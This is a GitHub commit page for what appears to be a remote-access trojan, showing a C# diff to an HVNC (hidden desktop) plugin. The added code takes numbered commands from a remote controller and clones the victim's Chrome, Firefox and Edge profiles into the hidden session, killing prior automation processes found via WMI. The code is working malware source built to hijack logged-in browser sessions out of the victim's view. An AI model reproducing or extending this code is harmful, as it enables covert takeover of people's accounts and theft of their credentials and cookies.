Skip to content

Commit

Permalink
improved error logging when loading dlls, added clone profile to HVNC…
Browse files Browse the repository at this point in the history
…, various other things
  • Loading branch information
moom825 committed Nov 30, 2023
1 parent 97f12c4 commit 347084a
Show file tree
Hide file tree
Showing 10 changed files with 484 additions and 7 deletions.
162 changes: 161 additions & 1 deletion Plugins/Hvnc/Hvnc.cs
Original file line number Diff line number Diff line change
Expand Up @@ -11,6 +11,8 @@
using System.Drawing.Imaging;
using System.Runtime.InteropServices;
using System.Windows.Forms;
using System.Management;
using System.Diagnostics;

namespace Plugin
{
Expand All @@ -19,6 +21,13 @@ public class Main
Node ImageNode;
bool playing = false;
int quality = 100;
bool do_browser_clone = false;
bool cloning_chrome = false;
bool cloning_firefox = false;
bool cloning_edge = false;
bool has_clonned_chrome = false;
bool has_clonned_firefox=false;
bool has_clonned_edge = false;
Imaging_handler ImageHandler;
input_handler InputHandler;
Process_Handler ProcessHandler;
Expand Down Expand Up @@ -65,14 +74,60 @@ public async Task Run(Node node)
IntPtr lParam = (IntPtr)node.sock.BytesToInt(await node.ReceiveAsync());
new Thread(() => InputHandler.Input(msg, wParam, lParam)).Start();
}
else if (data[0] == 4)
else if (data[0] == 4)
{
ProcessHandler.StartExplorer();
}
else if (data[0] == 5)
{
ProcessHandler.CreateProc(Encoding.UTF8.GetString(await node.ReceiveAsync()));
}
else if (data[0] == 6)
{
do_browser_clone = true;
}
else if (data[0] == 7)
{
do_browser_clone = false;
}
else if (data[0] == 8)
{ //start chrome
if (do_browser_clone && !has_clonned_chrome)
{
has_clonned_chrome = true;
HandleCloneChrome();
}
else
{
ProcessHandler.StartChrome();
}
}
else if (data[0] == 9)
{ //start firefox
if (do_browser_clone && !has_clonned_firefox)
{
has_clonned_firefox = true;
HandleCloneFirefox();

}
else
{
ProcessHandler.StartFirefox();
}
}
else if (data[0] == 10)
{ //start edge
if (do_browser_clone && !has_clonned_edge)
{
has_clonned_edge = true;
HandleCloneEdge();

}
else
{
ProcessHandler.StartEdge();
}
}
}
}
catch
Expand All @@ -86,6 +141,111 @@ public async Task Run(Node node)
GC.Collect();

}

private async Task<int> GetProcessViaCommandLine(string processName, string searchString) {
return await Task.Run(() =>
{
ManagementObjectSearcher searcher = new ManagementObjectSearcher($"SELECT * FROM Win32_Process WHERE Name = '{processName}'");

foreach (ManagementObject obj in searcher.Get())
{
string commandLine = obj["CommandLine"]?.ToString();

if (commandLine != null && commandLine.Contains(searchString))
{
return Convert.ToInt32(obj["ProcessId"]);
}
}

return -1;
});
}


private async Task HandleCloneChrome()
{
if (!cloning_chrome)
{
cloning_chrome = true;
try
{
await ProcessHandler.CloneChrome();
}
catch
{
int pid = await GetProcessViaCommandLine("chrome.exe", "ChromeAutomationData");
if (pid != -1)
{
Process p = Process.GetProcessById(pid);
try
{
p.Kill();
await ProcessHandler.CloneChrome();
}
catch { }
p.Dispose();
}
}
ProcessHandler.StartChrome();
cloning_chrome = false;
}
}
private async Task HandleCloneFirefox()
{
if (!cloning_firefox)
{
cloning_firefox = true;
try
{
await ProcessHandler.CloneFirefox();
}
catch
{
int pid = await GetProcessViaCommandLine("firefox.exe", "FirefoxAutomationData");
if (pid != -1)
{
Process p = Process.GetProcessById(pid);
try
{
p.Kill();
await ProcessHandler.CloneFirefox();
}
catch { }
p.Dispose();
}
}
ProcessHandler.StartFirefox();
cloning_firefox = false;
}
}
private async Task HandleCloneEdge()
{
if (!cloning_edge)
{
cloning_edge = true;
try
{
await ProcessHandler.CloneEdge();
}
catch
{
int pid = await GetProcessViaCommandLine("msedge.exe", "EdgeAutomationData");
if (pid != -1)
{
Process p = Process.GetProcessById(pid);
try
{
p.Kill();
await ProcessHandler.CloneEdge();
}
catch { }
p.Dispose();
}
}
ProcessHandler.StartEdge();
cloning_edge = false;
}
}
public async Task ScreenShotThread()
{
try
Expand Down
1 change: 1 addition & 0 deletions Plugins/Hvnc/Hvnc.csproj
Original file line number Diff line number Diff line change
Expand Up @@ -35,6 +35,7 @@
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Drawing" />
<Reference Include="System.Management" />
<Reference Include="System.Windows.Forms" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
Expand Down
Loading

0 comments on commit 347084a

Please sign in to comment.